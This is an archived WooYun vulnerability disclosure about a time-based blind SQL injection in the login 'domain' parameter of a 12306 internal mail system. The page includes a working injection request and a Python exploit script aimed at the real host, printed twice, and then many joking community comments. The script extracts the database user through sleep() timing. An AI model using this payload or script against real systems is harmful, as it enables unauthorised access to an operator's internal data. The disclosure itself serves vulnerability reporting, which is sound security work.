12306某内部系统MySQL盲注需进一步修复(附验证脚本第四次绕过)

发表于 2014年12月30日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-089304

漏洞标题：12306某内部系统MySQL盲注需进一步修复(附验证脚本第四次绕过)

漏洞详情

披露状态：

2014-12-30: 细节已通知厂商并且等待厂商处理中
2015-01-01: 厂商已经确认，细节仅向厂商公开
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-13: 细节向公众公开

简要描述：

12306某内部系统MySQL盲注需进一步修复(附验证脚本,第四次绕过)
已存在多年，一直未修复完全，影响内部运营数据

详细说明：

注射点：

POST http://mail.12306.cn/app/mail/logindomain=aa'XOR(if(length(database())=4,sleep(1),0))OR'bb&id=1&lang=zh_cn&pwd=1&remember=on&sid=d947be26445ad5a2c49b16f97a22be55&style=classic

1	POST http://mail.12306.cn/app/mail/logindomain=aa'XOR(if(length(database())=4,sleep(1),0))OR'bb&id=1&lang=zh_cn&pwd=1&remember=on&sid=d947be26445ad5a2c49b16f97a22be55&style=classic

参数domain可注入，MySQL time blind. sid每次需要重新获取。

漏洞证明：

猜解user()，得到：

[email protected]

1	[email protected]

当前库：

mail

mail

验证脚本：

#encoding=gbk<br>
import urllib2<br>
import re<br>
import httplib<br>
import time<br>
import string<br>
import sys<br>
import random<br>
import urllibheaders = {<br>
    'Content-Type': 'application/x-www-form-urlencoded',<br>
    'Cookie': '',<br>
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',<br>
}<br>
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')html_doc = urllib2.urlopen('http://mail.12306.cn/app/mail/entry').read()<br>
sid = re.search('name=sid value="([^"]+)"', html_doc).group(1)print 'start to retrive MySQL user:'<br>
user = ''<br>
for i in range(1,15):<br>
    count = 0<br>
    for payload in payloads:<br>
        try:<br>
            conn = httplib.HTTPConnection('mail.12306.cn', timeout=60)<br>
            s = "123'XOR(if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(5),0))OR'bbb" % (i, ord(payload) )<br>
            params = {<br>
                'id': '1',<br>
                'lang': 'zh_cn',<br>
                'pwd': 'test',<br>
                'remember': 'on',<br>
                'sid': sid,<br>
                'style': 'classic',<br>
                'domain': s<br>
            }<br>
            conn.request(method='POST',<br>
                         url='/app/mail/login',<br>
                         body = urllib.urlencode(params),<br>
                         headers = headers)<br>
            start_time = time.time()<br>
            html_doc = conn.getresponse().read()<br>
            conn.close()<br>
            if time.time() - start_time > 5:<br>
                raise Exception('oooooooops')<br>
            count += 1<br>
            sys.stdout.write('\r'+ '.' * count)<br>
            sys.stdout.flush()<br>
        except:<br>
            user += payload<br>
            print '\r[In progress]', user<br>
            breakprint '\n[Done]MySQL user is', user

#encoding=gbk

import urllib2

import re

import httplib

import time

import string

import sys

import random

import urllibheaders = {

'Content-Type': 'application/x-www-form-urlencoded',

'Cookie': '',

'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',

}

payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')html_doc = urllib2.urlopen('http://mail.12306.cn/app/mail/entry').read()

sid = re.search('name=sid value="([^"]+)"', html_doc).group(1)print 'start to retrive MySQL user:'

user = ''

for i in range(1,15):

count = 0

for payload in payloads:

try:

conn = httplib.HTTPConnection('mail.12306.cn', timeout=60)

s = "123'XOR(if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(5),0))OR'bbb" % (i, ord(payload) )

params = {

'id': '1',

'lang': 'zh_cn',

'pwd': 'test',

'remember': 'on',

'sid': sid,

'style': 'classic',

'domain': s

}

conn.request(method='POST',

url='/app/mail/login',

body = urllib.urlencode(params),

headers = headers)

start_time = time.time()

html_doc = conn.getresponse().read()

conn.close()

if time.time() - start_time > 5:

raise Exception('oooooooops')

count += 1

sys.stdout.write('\r'+ '.' * count)

sys.stdout.flush()

except:

user += payload

print '\r[In progress]', user

breakprint '\n[Done]MySQL user is', user

修复方案：

建议还是过滤一下

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-01-0110:13

厂商回复：

正在检查

评价

2010-01-01 00:00 浩天白帽子 | Rank:851 漏洞数:68)

这哪里只是影响用户信息，企业内部信息可能也在劫难逃啊
2010-01-01 00:00 kydhzy 白帽子 | Rank:75 漏洞数:9)

前排
2010-01-01 00:00 g0odnight 白帽子 | Rank:39 漏洞数:4)

CCTV看这里！
2010-01-01 00:00 bitcoin 白帽子 | Rank:290 漏洞数:36)

@lijiejie 围观大牛！
2010-01-01 00:00 杀器王子白帽子 | Rank:1480 漏洞数:119)

注入狂魔李姐姐
2010-01-01 00:00 浩天白帽子 | Rank:851 漏洞数:68)

我在等李姐姐把杀妻王子干掉
2010-01-01 00:00 浅蓝白帽子 | Rank:131 漏洞数:20)

12306是要火的节奏么。
2010-01-01 00:00 冰冻冷咖啡白帽子 | Rank:5 漏洞数:2)

你们这是一起刷12丧零六啊
2010-01-01 00:00 px1624 白帽子 | Rank:963 漏洞数:126)

第四次。。。所以说12306在某全球最大的平台去发奖励根本不解决问题么
2010-01-01 00:00 lijiejie 白帽子 | Rank:2210 漏洞数:264)

@px1624 这个第四次的标题应该是审核的同学加的… 不过漏洞确实存在已久
2010-01-01 00:00 h4ckhell00 白帽子 | Rank:0 漏洞数:0)

12306 这是年底要爆发的节奏吧。。
2010-01-01 00:00 lijiejie 白帽子 | Rank:2210 漏洞数:264)

@杀器王子杀器王子全能王… 德艺双馨玩转各种内网渗透技术…
2010-01-01 00:00 疯狗白帽子 | Rank:22 漏洞数:2)

同一个位置第四次绕过。。
2010-01-01 00:00 无心、白帽子 | Rank:45 漏洞数:7)

第四次，你们这是看不起这个几亿的网站么？
2010-01-01 00:00 窝窝哥白帽子 | Rank:55 漏洞数:10)

继续打脸！12306竟然去360那边！
2010-01-01 00:00 Qiudays 白帽子 | Rank:0 漏洞数:0)

12306的开发不甘寂寞啊....
2010-01-01 00:00 机器猫白帽子 | Rank:901 漏洞数:90)

CCTV拍这里！
2010-01-01 00:00 YY-2012 白帽子 | Rank:1791 漏洞数:161)

CCTV拍拍拍拍拍拍拍拍拍拍拍拍拍拍拍拍拍
2010-01-01 00:00 子非海绵宝宝白帽子 | Rank:1220 漏洞数:113)

吊炸天
2010-01-01 00:00 爱Gail 白帽子 | Rank:168 漏洞数:16)

有意思，谁还说是撞库
2010-01-01 00:00 ConTrol 白帽子 | Rank:0 漏洞数:0)

打脸啪啪啪
2010-01-01 00:00 承诺白帽子 | Rank:4 漏洞数:1)

CCTV拍这里！.....papapa
2010-01-01 00:00 打酱油的小男孩白帽子 | Rank:0 漏洞数:0)

啪啪啪啪啪啪啪。啪啪啪啪啪啪啪。啪啪啪啪啪啪啪。啪啪啪啪啪啪啪。啪啪啪啪啪啪啪。
2010-01-01 00:00 大亮白帽子 | Rank:267 漏洞数:28)

你好，请开下门，我们查下水表
2010-01-01 00:00 小威白帽子 | Rank:380 漏洞数:43)

打脸女娲么？
2010-01-01 00:00 忽然之间白帽子 | Rank:333 漏洞数:36)

你好，回家的票能给我整一张不？
2010-01-01 00:00 bingfeng 白帽子 | Rank:10 漏洞数:2)

看不了的飘过~
2010-01-01 00:00 Taro 白帽子 | Rank:120 漏洞数:15)

我只想换一张回家的车票啊
2010-01-01 00:00 红客十年白帽子 | Rank:169 漏洞数:15)

@小威威锅女娲是啥……话说我只想求一张回家的票。你们老撸铁道部干嘛
2010-01-01 00:00 Angelic47 白帽子 | Rank:0 漏洞数:0)

妈妈我要上电视啦~CCTV拍这里~~
2010-01-01 00:00 ’‘Nome 白帽子 | Rank:57 漏洞数:7)

有意思，谁还说是撞库、打脸的节奏， CCTV看这里，哎呦喂镜头往这里凑凑，对就是这样，哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎哎摄像师你别动镜头呀
2010-01-01 00:00 小威白帽子 | Rank:380 漏洞数:43)

@红客十年女娲能补天啊！真为你智商捉急
2010-01-01 00:00 红客十年白帽子 | Rank:169 漏洞数:15)

@小威我知道女娲能补天，我想知到女娲跟铁道部有啥关系。。。还是是哪位大神
2010-01-01 00:00 帅气小狼狗白帽子 | Rank:8 漏洞数:1)

使劲的打，让你不给我火车票。
2010-01-01 00:00 huoji 白帽子 | Rank:26 漏洞数:4)

打脸赞！
2010-01-01 00:00 Observer 白帽子 | Rank:23 漏洞数:2)

可以买一条两千块的项链了
2010-01-01 00:00 斯杰白帽子 | Rank:0 漏洞数:0)

我要上电视，ccav拍这里
2010-01-01 00:00 SuperRookie 白帽子 | Rank:46 漏洞数:5)

我代表12306在说一次这是撞库啊。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
2010-01-01 00:00 xbuther 白帽子 | Rank:0 漏洞数:0)

这里。。这里。。。
2010-01-01 00:00 J′aron 白帽子 | Rank:7 漏洞数:1)

CCTV 看这里！啪啪啪啪啪啪啪
2010-01-01 00:00 wefgod 白帽子 | Rank:1438 漏洞数:124)

那么给力！
2010-01-01 00:00 pw0 白帽子 | Rank:3 漏洞数:1)

妈妈我要上电视啦！